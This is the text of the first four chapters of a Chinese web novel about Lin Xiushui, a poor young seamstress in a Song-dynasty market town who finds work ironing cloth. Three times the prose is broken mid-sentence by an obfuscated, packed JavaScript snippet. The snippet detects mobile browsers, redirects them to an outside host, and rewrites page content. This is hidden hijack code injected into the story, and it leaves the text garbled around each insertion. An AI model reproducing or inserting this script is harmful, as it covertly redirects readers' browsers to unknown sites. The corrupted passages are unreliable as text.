《江南裁缝日志》 1. 第 1 章 春耕的日子里,林秀水却在官渡口,等去往桑青镇的官船。 她被人群左右推搡,伸长胳膊把户帖给官吏细看,包袱被扯开一顿翻看盘查,除了几件破衣裳,一床包被和两只鸡,竟是再没旁物。 而林秀水对面那娘子,先是鸡鸭一群,又是驴子三头的,她这显得尤为寒酸。 “上林塘的,”官吏冲旁边人嘟囔,“原是主户,眼下成了浮客,往桑青镇投奔姨母。” 林秀水用力系紧包袱,嫌这官吏嚷得太大声,毕竟开春前她还是有房屋和田产的主户,虽则房屋是间烂棚屋,田地也只有一亩,但好歹能过活。 这大雨一下,田被冲进湖里,屋子变成一堆破木板,家当除了些衣物,旁的全没了。 要继续住在上林塘,她没有田地,承担不起赋税,索性还有在桑青镇的姨母能投靠。 她交了十五文船费,收好户帖,一手提包袱,一手提两只鸡。她有牲畜,被艄公叫进船尾,坐在两头驴子旁边。 林秀水缩着手,说叫驴子让让,她旁边的娘子瞧她一眼,见是个梳着双垂鬟,瘦巴巴的小娘子,便开口:“我这驴子花了钱的,你交多少钱?” “十五文。” 那娘子立即抬高嗓门,“我这花了六十文,我还嫌它占的地方不够多,你说往边上去,我还怕你挤着它们呢。” 你交的钱多你有理。 林秀水看自己腿都不及那娘子胳膊粗,不再吭声,但她就不走,硬挤着驴子坐,把鸡按在自己脚边,只管听艄公喊到哪了。 上林塘在临安府北,去桑青镇要行半天的船,而这运河路段船只众多,行船缓慢。 林秀水一路光听这驴子哞啊哞啊地叫唤,实在受不住,找了个角落,坐在自己包被上。 越近桑青镇,她反倒有些心不在焉起来,自打她娘去后,她同姨母一年只见三次面,虽说常有口信往来,毕竟这得长住叨扰人家。 不等她细思,艄公喊:“桑青镇,桑青镇到喽——,往上船亭走,快些下船。” 林秀水瘦弱,被人挤压推搡出了船,踩着摇摇晃晃的船板,衣衫乱糟糟地站在清河坞上船亭里。 这里管码头叫上船亭,高矮错落的亭子一间又一间,亭子过后是高高的堤坝,横架着数座桥,河上全是停泊的船只,一眼望不到头。 听船上人讲,私船不能入临安内城,全得在清河坞这换官船,是以商贾船只多如牛毛。 她只瞟了几眼,被人群撞得如同拨浪鼓,这里的人行色匆匆,拿着包袱都有要去的地,偏她傻站着不动。 有邸店的人过来拉客,“小娘子,要不要住宿,一晚才十文。” “住不起。” 交完船费后,林秀水身家只有二十七文,连吃口饭都成问题。 她想寻人问问,桑桥湾要往哪走,却忽听有人大声喊她,“阿俏” 林秀水先是应声,而后寻声从人群里挤过去,走了有一段路,才瞧到一个清瘦,眼睛狭长,嘴边有痣的妇人。 她喊道:“姨母” 王月兰想打她,一见她瘦成这样,没忍心下手,想骂她,一见她这狼狈样,扭头把包袱抗到自己肩上。 但她到底没憋住,从人里挤出来,嘴里数落:“你个臭丫头,叫你早些过来,你非不听。” “你说要给你娘守三年孝,去年冬就除孝了,我捎了三四个口信,你死活不来,偏等遭了难。等回了家,我不打你我不姓王,我跟你娘姓。” 这话说了白说,林秀水暗道,她娘也姓王。 王月兰还窝着气,看她不顺眼,看她的鸡更不顺眼,她嚷道:“不是说叫你把鸡给卖了?到鸡鸭行挑几只鸡仔养着。” 林秀水避开背米的脚夫,提起东西小跑了几步道:“这不是没舍得卖,养了好几年。” 当然压根不是这么回事,这两只鸡林秀水养了两年,天天喂谷子,给它们逮虫子,冬天养在自己屋里,养得这么辛苦,死也得死在她肚子里。 王月兰又气又笑,没在这么多人的道上揭她的面子,回去再说。 桑青镇的屋舍要不临河,要不临街,而王月兰的屋子前门临街,后门临河,在条长巷子里,打头前两家,老桑树边上。 这连河过街的这片地被称为桑桥湾,前巷是种桑卖蚕丝的,后河则各行各巷的人都有,起早能见着,平常则出摊买卖上工。 王月兰开门时说:“自打前两年你姨夫没了后,我就典了东西,带小荷到这来住了。” 她二十来岁守了寡,又只身一人带着闺女,住在原先的破巷子里不大合适,才拿家当抵押换屋。 林秀水对此很清楚,姨母早两年便说过,她提起包袱,侧身踏进门槛,抬头往上瞧。 这院子像住在井里。 天井窄长,而院子全靠这天井接济,才有点光亮。 蹲在那水洼处,抬头老瞧着天的小荷,就跟只小蛙一样。 小荷才六岁,个子矮,脸倒是圆乎,特别爱蹦,见了人就蹦过来,很亲热地喊林秀水,“阿姐。” “哎,大宝,”林秀水笑嘻嘻喊她。 明明两个人就见过几次面,可好得跟以前穿过同件褙子似的。 院子里还有点天光,到了屋子里头又窄又黑,窗户没糊纸,钉了几张拼补的麻布,家伙什又杂,不点蜡烛,走两步就得跌绊一下。 杉木板墙隔不住一点声音,左边那户在锯木头,右边有小孩吵嚷。 此时王月兰从灶屋提了茶瓶出来,倒了碗香饮子,叫林秀水喝掉。 最纯的饮子,就跟汤药一样,比饮片熬的苦汤还要苦。 林秀水喝一口打一个嗝,她跟条鱼一样,向外吐泡泡,半点咽不下去。王月兰说她不识好货,自个儿趁热喝了,还得刮刮碗底,这玩意可贵。 喝了东西,收拾好家当,这屋子小是小,索性还有个二楼,只两间房,小荷跟王月兰睡,林秀水占了一间房。 在小屋里时,王月兰打发小荷去拿东西,她同林秀水说:“到了这就别想上林塘了,等明日我们去衙门,你只要待满一年,能当个镇坊郭户。” 这屋舍是王月兰去质库典当,又借了银钱买下的,要价六十几贯,就为了不住店宅务的破屋,修缮都不能修缮。 有了屋舍,她便是镇坊郭户,让林秀水落在她户帖名下不成问题。 “你爹娘走得早,又拖累你,叫你还了不少债,不然到了你十五这个岁数,奁产都该是齐备的,”王月兰最在意这事,毕竟她亲姐临终前把林秀水托付给她。 孩子叫她一声姨母,姨母也算娘,她把林秀水当自个儿孩子。 “这眼下,哪家郎君娶媳不看奁产的,哪家小娘子嫁郎不问田财的,你有妆奁田财吗,你还乐,我看你真是找打。” 在整个宋朝,尤其在临安府,嫁娶之道里,钱财比样貌紧要。 像林秀水这种穷得叮当都不响的小娘子,嫁人排不上好的,随意嫁人容易碰上孬的。 林秀水笑说:“那正好我老了就到居养院去,还能混口官饭,一日给米二升,钱二十,一人吃饱全家不愁。” 王月兰瞪她,林秀水立即改口:“这不是还有个出路,我过两日寻个活去,最好能一日赚上几贯,一段日子下来,既能置办田财,又能招个好郎君。” “你个嘴胡天胡地的,你要抢金银铺你自个儿去。” 林秀水可不想进牢里去,她只想赚些银钱,别叫姨母添了她这个负担而为难。 在桑青镇混口饭不是容易的事,各行有各行的规矩,索性林秀水还有门裁缝手艺。 不是天生的,不是娘传的,而是梦来的。 她从十二岁开始做梦,那时她娘刚走,她发了热,整夜做梦,梦里总出现她不懂的东西。 只有身子的人架子、插上能用的熨斗、轻薄蓬松的衣裳,黑里透着彩的布… 刚梦头三天时,她以为自己终于——疯掉了。 疯掉了也得治。 上林塘没有正经郎中,倒是有个货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471557|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎,担架上时常挂着张招幌,上头写专医牛马小儿。 可她既不是牛马,也不是小儿,哎,可惜。 货郎看她至少是个人,说有个治百病的方子,要二十文一副,林秀水狠狠心给了。 喝完难受了半日,夜里还是做梦,货郎不给她退钱,给她两味药,呸,没半点用。 连续到第十日,她怀疑有鬼缠着她,上林塘有个师巫,村里人叫这行当为灵姑,林秀水管她叫鬼神通。 这驱邪要价更贵,三十文,林秀水一听价,当即走出去,又走回来,来回走了六趟,才闭着眼掏了钱。 灵姑围着她又唱又跳,符咒乱摇,然后铲了灰,烧了纸,化成黑水叫她喝。 林秀水立马跑了,做梦就做梦,喝这东西她得下去见她娘,她娘叫她好歹活着。 折了五十文钱,她吃糠咽菜好久,再也没折腾,十二到十四的年头里,她做了三百四十个零散的梦。 十四岁后,她渐渐知道那是她穿越后失去的记忆,这记忆来得太晚,她早就已经有自己的想法了。 只是还在惊异,她的前世居然是个裁缝。 这让她有点失望,是大失所望。 怎么不是厨娘,不是女医,不是女商呢… 不是嫌弃,实在是她要还她娘病后欠下的钱,穷得要吃不上饭了,裁缝来钱太慢了。 费劲缝补一件短褙子,或是衣裳改短,改宽,改长,乱七八糟的要求,搞得她能赚大钱一样,实则她一天数八百遍,就赚五文钱。 但到了桑青镇,跟上林塘这种小地方肯定不一样,裁缝大有可为。 是不一样。 下马威给得很足。 临安府有四百一十四行,桑青镇占一半,这么多行当,自然得有领头的,这就叫行老。 想找活计,得先上专门的茶坊找行老,这种行老聚集的茶坊叫市头。还需拿红布包给他百来文钱,上壶好茶,让人瞧瞧模样,再给寻个行当。 不给也成,那正经铺面也没人收。 去的那日,王月兰给她梳紧绷绷的双鬟髻,指指她的眉毛,“把你那剪灯花攒的油膏拿出来使使,叫眉毛黑点,嘴唇白惨惨的,也得涂点红。” 眉毛一黑,嘴唇一红,除了瘦条,林秀水倒是有了点气色,还穿了件稍浅色又合身的蓝布袄子,不说俏丽,至少顺眼。 “裁缝这行当好,学好了还能去富户家中做个针线人,死也别干染肆的活计,”王月兰常年在染肆里干着,一天都不得闲,有事还得扣五文钱,坑死人的行当。 去茶坊的路上,林秀水盯了又盯王月兰挂着的小袋,沉甸甸的,她小声说:“姨,我会还你的。” “还,我等着你还,”王月兰拍她一把,“你到时候好好说话。” 到茶坊见了行老,这行老是布匹彩帛行当里钻营的,他嫌林月回太瘦,又嫌她劲小,剪一天布手哆嗦两天。 只受了茶,退了钱,叫她们找牙嫂去。 桑青镇牙嫂多,能耐大,各行有行老,自然也有数不清的牙嫂。 寻的刘牙嫂专管这行当的活计,彩帛铺、成衣铺、绒线铺等等,一应布行相关铺子,她全有人脉。 刘牙嫂只认钱,给了钱她就能把事情办好。 “手劲小了点,胜在人机灵,缝针稳当,裁布也有个样子,”刘牙嫂瞧了瞧布,没怎么挑剔,又问,“熨布会不会?” 王月兰搁腰上的手抖了下,皱紧眉头,林秀水却说:“我会。” 做裁缝第一样,得会熨布。 刘牙嫂手头没熨斗,且熨斗里要加火炭,她便在纸上写了些东西,跟林秀水说:“先到顾娘子成衣铺去试试。” “她那要熨十几匹布。” 刘牙嫂解释:“眼下裁缝作里,裁缝要不找老裁缝,要不就是学徒,那种老裁缝带着做三年才出师的。你这种上哪人家都得挑,不如先去熨布,走个偏路子。” 林秀水已经摩拳擦掌起来,什么偏路子,那是赚钱的正道。 2. 第 2 章 林秀水自打到了桑青镇,不只喜欢看招幌,更喜欢仰起头,盯着牌匾瞧,哪里有字她瞧哪里。 从前她是大字不识一个的,自打做梦后,她便认得字了。 只有一点不好,难的字她只认识一半,顾这个字太为难人,横拆竖拼,她也不认识,造字的实在可恶。 桑绫弄这三个她认识,桑青镇的地名大抵都带个桑,连沿河种的也全是桑树。 不过桑绫弄名好听,镇里人却只叫它彩衣巷,里头有彩帛、成衣、绒线、丝鞋各色铺子,林秀水说是只管光着身子进去,从头到脚,从里到内都能置办齐全。 而在这条布帛飘摇的街上,顾娘子成衣铺店面不大起眼,夹在陈家彩帛铺和王家白衣铺里。 同别家挂大木排做招幌不一样,这成衣铺的幌子只挂了件绿溶溶的长褙子。 眼下刚开春,倒春寒也没过,这春衫倒是时俏。 林秀水瞟了一眼,就由刘牙嫂领进铺子里去,王月兰问了十遍她会不会熨布,得到肯定答复,也不好再陪她进去,在门口晃了又晃才走,下晌还要做工。 这成衣铺不算小,前面账台,中间竖了屏风,后头桌上堆了一匹匹花布,衣裳都上了墙,件件很轻薄。 有一群小娘子在挑衣裳,屋里香馥馥的。 林秀水也没细看,同刘牙嫂走到前头去。 “顾娘子,前儿个你说熨布缺个人手,”刘牙嫂脸上挂起笑,手轻搭在檀木台面上,“今儿个可算找着了。” 她又牵起林秀水来,说起好话:“别看她瘦小,可会使巧劲,娘子你叫她留着做做,要是哪不成,你再给我说,我给她寻个别处去。” 顾娘子手按在算盘上,细长眉毛不动,抬眼从上到下一扫,她问:“真会熨布?” “真会,”林秀水抬起头,正视她,“也要看什么布。” 顾娘子抬眉,“我这什么布都要熨。” 林秀水开始撩袖子,她边往上扯边说:“那我先试试。” 顾娘子看她的动作,不理解明明穿了窄袖还要撸胳膊做什么,却也问她,“要不来条攀膊?” “不了,勒的不好动,”林秀水一本正经拒绝了,悄悄把袖子放下来点,她忘了她不是要下田干活。 熨布的地方在中院,这铺子应是三间铺面连一起,只是中间打通做了院子,后院还有间放布的。 院子有风好烧炭,又不至于叫炭火味全熏布上。 熨布还要有个人专门烧炭,说得很好听,管这叫司火。 司火的是个十三岁的小丫头,圆鼓鼓的脸,叫小春娥,见谁都很亲热,在顾娘子去拿麻布时,给林秀水支招,“你到时候得喷水。” 林秀水故意问她:“怎么喷?” “你怎么这也不知,自然是含了水,噗,噗噗,”小春娥撅起嘴往外喷气,“先前那李娘子就是这样做的。” 林秀水回她:“这不是做口水巾。” 虽然吐水有点用,但她不想用,因为她吐着吐着会喝下去。 她问小春娥,“有没有刷子?” “你说刷牙子?吐水还要先刷牙,怪讲究的,”小春娥很是不理解,然后告诉她,“没有,你回去刷,要不去凌家刷牙铺里买支,就在东头过了水路那,记得上药铺买刷牙药。” 林秀水跟她解释不清,同顾娘子要了刷子,软一点的叫梳刷,硬一点是发刷,都是刷头发的。 “你要刷什么,”顾娘子面色不改,却隐隐不耐,“你先熨完麻布再刷。” 林秀水将软刷浸到水盆里,擦干手,从桌面边顺着摸一遍,确保没有脏污。 又把要熨的细麻布拿过来,确认正反面,反面朝上,确定经纬线,边扯边跟顾娘子解释:“熨布要有水,细麻布喷水不匀,拿刷子蘸水梳几遍,湿了就能熨,到时再上熨斗。” 顾娘子对此不言语,只是摸摸她那檀色素缎夹衣,实则挺满意,虽然瘦小,至少眼前这个不喷口水。 小春娥倒是捧场地低低叫了声,用火钳子夹着炭往铜熨斗里放,嘴里喊着炭好了。 这熨斗又称火斗,全靠炭火红了圆铜底,加热来回熨平整。 只是不好用,熨斗的斗身跟斗柄连起来是笔直的,都不往上翘,越直则握得越紧绷。 林秀水不喜欢这种熨斗,它会跑灰到布上,此时无比想要她记忆里的电熨斗。 尤其铜熨斗很难把控火候,一不留神,熨布就成了炙肉。 在有两双眼睛盯着的情况下,林秀水依旧不慌不忙的,要了一口粗瓷大碗,盛满了水,又要把剪子,裁一小片麻布反着放桌上。 小春娥沉不住气,凑过来说:“瞧你这架势,跟从前的娘子都不一样,这是要做什么?” “把水烤热了喝,”林秀水逗她,见熨斗里的炭红灼灼的,把铜底顺着水面刮一下,立马响起“嗤”的一声,温度大概到一百二十。 她梦里的东西还要日夜苦练,才能靠听声辩温度,等水泡变得细密,有了叽咕声,那就往上升了十度,是熨麻布最好的温度。 林秀水谨慎得很,这温度她得在小布上先试一遍,再放到麻布上,平熨不拉扯。 只听噗噗噗的声响里,原本那皱巴巴的麻布,在熨斗下逐渐变得极为平整。 反熨再正面平烫,那麻布都像是生了光泽感。 林秀水熨布一气呵成,加炭减炭,刮熨刷水,没有停顿,仿佛眨眼间那布就自个儿服帖了。 “从临安城来的?你在帐设司做过活?” 顾娘子这才细细打量她。 姨母叫她出门就说是桑桥渡的人,怕别人笑话她,可林秀水才不怕,她将熨斗放在空炉子上,蹲在那抬头道:“从上林塘来的,没去过帐设司。” 临安的四司六局她是知道的,帐设司专管张盖帷幕、桌布、门帘、屏风等物,自然要有人手熨烫。 小春娥心直口快:“怎么会,上林塘种稻的,米行里多是你们那出的米,应该往米行里去才是。” 正经人家种稻能出两三石,林秀水一亩地出一石,那还是肥田,她也不大分得清米好坏,除非煮熟了叫她吃一口。 林秀水就说:“我没那本事。” “那你这熨布本事呢?”顾娘子追问。 林秀水跟她如实说了,不管是铁熨斗,还是铜制的,她都买不起,便去问人家富户家要不要熨布,还熨坏过一些布料,赔了几笔钱。 她熨了两年,对各种布料自然也摸清楚了脾性。 顾娘子又细说了工钱,便道:“这会儿天色晚了,你明日辰时边上过来。” 这话的意思已然明了,林秀水欣喜,却不急着走,要把布理了,炭夹到炭火甏(bèng)儿里,剪子放好,将木桌收拾齐整了再走。 一出了门,林秀水搓搓手里的汗,又摸摸脸,才露出小小的笑。 今日天色不好,像湿柴熏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471558|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的烟,风刮不散,人都步履匆匆,闪眼而过。王月兰赶过来,问她今日怎么样,林秀水说:“回去就能宰鸡的好。” 她看外头的水,只觉得桑青镇的水真好,很肥,都似飘着油花。 “有说月钱多少没,领到了你再想着吃,”王月兰要务实得多。 林秀水伸出一根手指头,“说是有一贯。” 不过这没到她手里的钱算她的吗,当然不算。 “足陌的,是十十钱吧?” “足的,”林秀水问清了,“有一千个铜板,不按省陌七百七的算。” 宋朝货币混乱,各行有各行的算法,一贯钱有七百七的,有六百八的,算也算不明白。 王月兰在染肆里染蓝布,一月不歇,烧火煮料搅布,也才足额两贯多些。 这里除了水不要钱,其他都要用钱,住的屋子得还债,两三贯也不经花。 王月兰面上有了笑,她又说:“先做几日瞧瞧,实在不好,再寻旁的出路。” 两人走路回去,王月兰带着林秀水认路,七拐八拐走了很多歪路。 桑青镇实在大,镇中有九坊三十六巷,河流遍布,路上人多繁杂,桥上摆浮铺,街上货物侵街。 路不好走,王月兰还踢到人家木架,拉扯间一顿纠缠,她一路走都在气愤,“早晚上街道司去,东西全给你们罚没了。” 气完又带林秀水去买肉铺里不算新鲜的大骨,黄昏这个点卖的很便宜,只要五文,王月兰要拿回去,先炖骨头汤,再把骨头捞出来和米一起煮,或者是拿髓骨焖饭。 桑青镇的人爱这样吃,管这叫大骨饭和石髓饭,又省油又省菜,还省米。 最省胃口,因为很油很腥。 林秀水吃了小半碗,如鲠在喉,小荷挖一勺又一勺,吃得香喷喷,小孩没吃过好东西。 到了转日,林秀水早早醒了,瑟缩着脖子摸黑找衣裳,这天比上林塘还冷,床上的被子像铁,褥子是要融化的冰,湿黏黏的。 她冬天里过得一点不体面,到了这里又为了一点体面,将贴补绣的衣裳塞在最里,再穿绣了白花的旧蓝袄子,还在前几日用淘米水浆洗的,便不大皱巴巴,跟用熨斗初初熨了一遍似的。 没发冠和簪子,扎了发髻也要采朵野花簪上,涂抹黑油膏,细细看一番,要叫自己瞧着干净。 她下了楼,王月兰从鸡窝里摸出个鸡蛋,“你这鸡不孬,下的这蛋给你吃。” 林秀水先应下,喝了栗米粥,洗涮碗筷,将鸡蛋往桌上一放,跑到门边才说:“我不爱吃,给小荷吃。” “姨,我晌午不回来吃,那边有饭吃。” 她出了门,还是不大识路,跟巷子里的人碰见,匆匆问好,跑着去的,到了铺子里仍旧熨细麻布。 顾娘子点点桌子说:“要得急,你要赶赶工。” 赶工当然没问题,林秀水指着那十几匹布说:“今日可以熨一半。” “熨不完我晚些走,不耽误活计,只是” 林秀水有点踌躇,顾娘子说:“你尽管说。” “这月钱能不能先支点,不成的话,” “行,”顾娘子没拒绝,“看你熨得怎样。” 在角落里的账房也应得很爽快,“到时候多支点给你。” 如果林秀水要知道只给她三文钱的,她说什么也得再要一文,四文钱才能买两个馒头。 姨母一个,小荷一个。 3. 第 3 章 今日活吃紧,林秀水动作也麻利,她铺开一匹麻布,铜熨斗跟生在手里了一样,到哪都握着。 小春娥抽空跟她闲聊,“阿俏,你知道这批布是做什么的不?” “这麻布是本色,熨完就得裁,估摸着做些不大费劲的衣裳。” 小春娥立即露出得意神色,火都不烧了,跟她说:“才不是,这是做油衣油帽的。” 林秀水不搭腔只干活,就小春娥那话半点兜不住,憋在肚里烧心的性子,她压根不需要人接话。 果不其然,小春娥小嘴叭叭,全给交代了,“说是过段日子要下大雨,怕是会发水灾,先做批油衣油帽。” “你可别不信,顾娘子寻人问的,她年年求神问道,那些很灵的相士都这样说,算了好些卦呢。” 林秀水听完,觉得她命里是缺水,可也不能从上林塘到这追着她浇吧。 但扯到算卦神鬼上,她又不大相信,她可是在师巫那吃过亏的,若是从管水闸的闸官那里知晓,她还能信一点。 不过她最想知道:“这做油衣人手够不够,要不要个裁缝?” “怕是够了,裁缝人手多着呢,有个专门的作坊,二十几号人。” 林秀水拿熨斗压一压褶子,有点失望,这油衣她会做,让她裁衣也成啊。 不同于农户用的蓑衣斗笠,桑青镇的油纸伞卖得最多,其次是油衣,在绢布、细麻布上桐油,皂角水洗净,又复上,到水浸不透才行。 又有避风雨的油帽,是帽子铺一圈油布,相当于宋朝的帷帽。 此时小春娥宽慰她道:“你又不怕没活干,这熨的是细麻,听说还有批白苎布也要熨,裁了样式做内里。” “你怎么什么都清楚?”林秀水纳了闷了。 小春娥头仰起来,一晃一晃的,“我娘给那些裁缝娘子做饭的,自然什么都知道。” “我连我们晌午吃什么都清楚,就吃笋丝馒头。” “那做饭的又是你的谁?” 小春娥赶紧摇头,“你可别胡说,我早间跑去问的,” “我娘说,吃饭的事要上点心,逮着好的多吃两口,那才不亏。” 林秀水已然听饿了,早上喝的粟米粥压根不顶饿,她硬撑着熨好了两匹半的布。 领到的笋丝馒头里只有春笋丝和干菜,面皮特别厚,一个足有手掌大,林秀水咬了一大口,才刚咬到馅。 每人分两个,她就算吃三个都不顶饱,不过她早已饿习惯了,留了一个带回去给小荷跟姨母。 “我不爱吃笋丝,”小春娥把掰了一半的馒头塞给她,“你吃吧,瞧你瘦的。” 林秀水并不窘迫,她接过来,在吃之前说:“等我发了月钱,也请你吃。” “请我吃,”小春娥哈哈笑,“你真傻,我胃口大着呢,你一准吃亏。” 不过没等到那个时候,稍晚些林秀水拿到了热乎乎的油纸包,即使知道她有的吃,王月兰仍旧给她捎了一个肉油饼,在铺子里买的,很油,肉很薄一层。 她分了一半给小春娥,自己一口一口地嚼,吃得肚里酸胀。 下晌她便没有说笑,只铆足了劲地熨布,到背直不起来,胳膊肘保持弯曲的弧度,一直起身子,咯吱咯吱地响。 这时天色将晚,小春娥早走了,林秀水把东西收完,想着能先支点月钱,脚步雀跃。 账房倒是还在,他早忘了这档子事,翻了下账台,他假笑道:“虽说没有先支钱的说法,但你实在勤快,娘子叫我先支点给你,” 顾娘子说先给一日的,他反正觉得不成,给了明日还来要怎么办,断不能开这个头。 林秀水根本没有听他说什么,只看那台上摆的三文钱,就这三文钱,她从白昼干到将近天黑。 买两个馒头都差一文呢。 “能不能” 账房一听她开口,起身往屋里走。 林秀水偷偷瞪了这个账房一眼,哼一声,岔开手走了,疼的。 她握着三文钱,想要放进兜里,上上下下摸索,压根没有一个兜。 林秀水握在手里,她走在桑青镇的小道里,碰见盘卖的小贩,他手里托着蔑盘,追上来问她:“小娘子,要不要来包十色花花糖?五文钱 。” 她顿住不走,小贩立即脸上堆笑,要把东西给她,可林秀水却问:“阿叔,你这需不需要人一起盘卖,我帮你一道卖,你给我两个钱,不,一个也成啊。” 小贩变了脸色,转身就走,生怕跟她说句话,都要从他盘里摸两把糖走,穷疯了罢。 林秀水纳闷,他跑那么快作甚。 早前上林塘里人说,桑青镇不好混,到那去一趟,有人盯着兜抢钱,林秀水压根不信。 直到这时,她从针铺里出来倒是信了。 这一般的粗针要价三十文,若是从苏州来的针,那最少九十文,针尖锐但针孔钝,缝起细布来很好用。 剪子是临安城里来的,少则百文,多则一贯,更别提线了,麻线、葛线、丝线,都是她买不起的价钱。 别说林秀水全身家当只有二十七文,不,加上这三文,她满打满算也只有三十文,买根针连听个响都做不到。 林秀水边走边盘算,要是凑齐工具,少说得一贯银钱,让她等上一个月,她决计做不到,只好另辟蹊径,回家再说。 “用醋泡剪子,也真亏你想得出来,”王月兰拿手指戳林秀水肩膀,“这要不成,剪子不能用了,还白折点米醋进去,好几文呢。” 剪子本来就不能用了,林秀水嘀咕,都生满锈了,针也锈了,不用的时候得包进油纸里才好。 王月兰嘴硬心软,拿发烛点麻油灯,蹲下来找她万年不用的米醋,嘴里念念有词,“我跟你说,没用的话,你看我不打你。” “不能打阿姐,”小荷正在吃笋丝馒头,她不让打。 “边上去,先拿竹帚抽你一顿,把我罐子里糖都给嚯嚯了。” 小荷双手捂脸,“那娘你别打我脸。” 林秀水笑出声,她正在找小盆,把针放底下,剪子平放,倒一层浅浅的醋,没过剪子就行。 王月兰闻着这醋味闹心,她喊:“少点,少点,哎呀,早晓得叫你沾点擦擦得了。” 要不是那场雨,林秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471559|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水的工具是齐备的,针插、桃木尺、剪子、线板、刮浆板、针线包等等,眼下全得重新置办。 夜里是不得歇的,王月兰泡豆子,明早吃豆羹,她在灶台里摆柴火,嘴里念叨:“又得买条儿柴了,得花十来文,这日子是把儿柴,升儿米,米价见天地涨。” 柴一把一把买,米一升升买,穷家的日子大抵如此。 从前王月兰吃的米,是林秀水给她捎的,上林塘种稻,那米叫早占城,除了米硬细差,出的米多。 这会儿春二月,陈米便宜,新米贵得很,桑青镇不产米,全赖苏湖淮广的客米,到了米行小牙子那,一升米敢要二十几文。 林秀水琢磨着,下了工去当个补衣匠,挣得再少也比三文钱要多,补贴点家用。 要是三文钱赚不到,她就要饭去。 不过临到半夜,林秀水睡不着,手疼得打颤,她下来烧了炉子,泡了滚水,取一点干艾草放进去,把手浸在艾草汤里,泡到水不烫了,第二日能缓解疼痛。 她自打有了记忆后,格外重视这双手,春秋两季下田,冬天就养手,天天用淘米水泡手,再薄薄抹一层猪油,那样就不会生冻疮、干裂,不会将布匹刮到起丝。 泡完一股艾草味,林秀水把浸了剪子和针的盆拿到她屋里去,第二日早早起了,拿旧布擦剪子,锈迹基本没了,但依旧很难用,钝钝的。 针倒是还能凑合用用。 此时天尚早,林秀水判断早晚,只需要撑起支摘窗,往河里瞧就行,日日卯时边上,会有艘船过来,吆喝着“倒马桶嘞——”这种收粪的叫倾脚头。 这么早的天连倾脚头都没来,林秀水开始挑拣自己的旧衣裳,有些实在烂得没法了,泡在雨里生了霉,她也没扔。 挑了湛蓝和杏色的麻布衣裳,剪了一截,沿着经纬线开始拆线,拆下来的线一圈一圈的,林秀水给扯直溜,绕在短木棍上。 线好坏无所谓,反正她会藏针法,还会其他不少针法,到时候藏一藏,管什么坏的,断了截的,不照旧能用。 像袖子这样的,就拆了卸下来,挑了线,到时候裁剪开来,给补破洞衣裳,实在破得厉害,她没布也没法子。 没钱自然有没钱的补法和出路。 “大早上忙活啥,那沾了米醋的光的那把剪子呢,能用不?”王月兰在门口叫她。 林秀水边走边说:“能用,只是钝了点。” “你拿来,我叫隔壁张家那小子给磨磨。” 林秀水给了剪子,又说:“姨,你要不给邻舍说说,我接补衣裳的活计,只收一两文钱。” 这两边的邻舍她不大熟,只知道隔壁的一家子在双线行里,也就是鞋行里做活,右边那户王月兰跟人不对付,拌了嘴不大往来。 “就我们边上这几家,宁可顶着破洞衣裳出去,也不会花一个子的,”王月兰实话实说,“家当都在质库里压着,质库这行到春三月就得出一批死当,想紧着赎回来呢。” 不过王月兰给出了招,在门前老桑树底下,支一张桌子,给小荷两块糖,叫她去吆喝:“缝衣裳——补衣裳——,缝补衣裳喽!” 4. 第 4 章 桑青镇在临安城边上,仰赖于青桑、蚕丝出名,加之只能在清河坞这换官船,行团从二十来个,数十年骤增至百来个多。又细分出了各个市集,生帛市、卦市、估衣市,又有作,诸如裁缝作、油衣作、铜匠作、铁匠作,又有专攻一业的,如修飞禽笼、花夹儿、肥皂团、染红刷梳等等。 而桑桥渡这个地方,原先全是船屋,众人住在船上,靠运河送竹木材发了家,才渐渐有了沿河瓦屋,有了竹木两行。 再又有专卖锅儿缸灶,桌儿板凳,火儿百烛这百样杂货的南货坊,就坐落在老桑树的东头,那片地界打从卯时(五点)便有赶趁人在杂耍卖艺,弄虫蚁、影戏、傀儡,或是诸多挑担抬盘架买卖的。 而桑桥渡里住的人,要去各行上工,不管从哪里走,都需将船划到溪岸口。 是以从老桑树旁往南开始人多繁杂,在这支个缝补小摊,比去其他坊巷要方便得多。 林秀水辰时边上工,只要卯时前起来,能有一个时辰的工夫,要是赶上早些下工,傍晚也能支摊。 虽则忙了些,可至少有银钱进账,对她来说有一两文也是好的。 唯一不好的是,哪里有商贩聚集,哪里便有税场。 林秀水正摆摊子,一张小方桌,盖了张青蓝的旧布,上头放了竹木绣棚、剪子和针线,还有叠暗色的小方布。 刚摆好,王月兰去屋里拿把椅子的工夫,穿皂衫戴腰牌的巡栏就大步过来了。 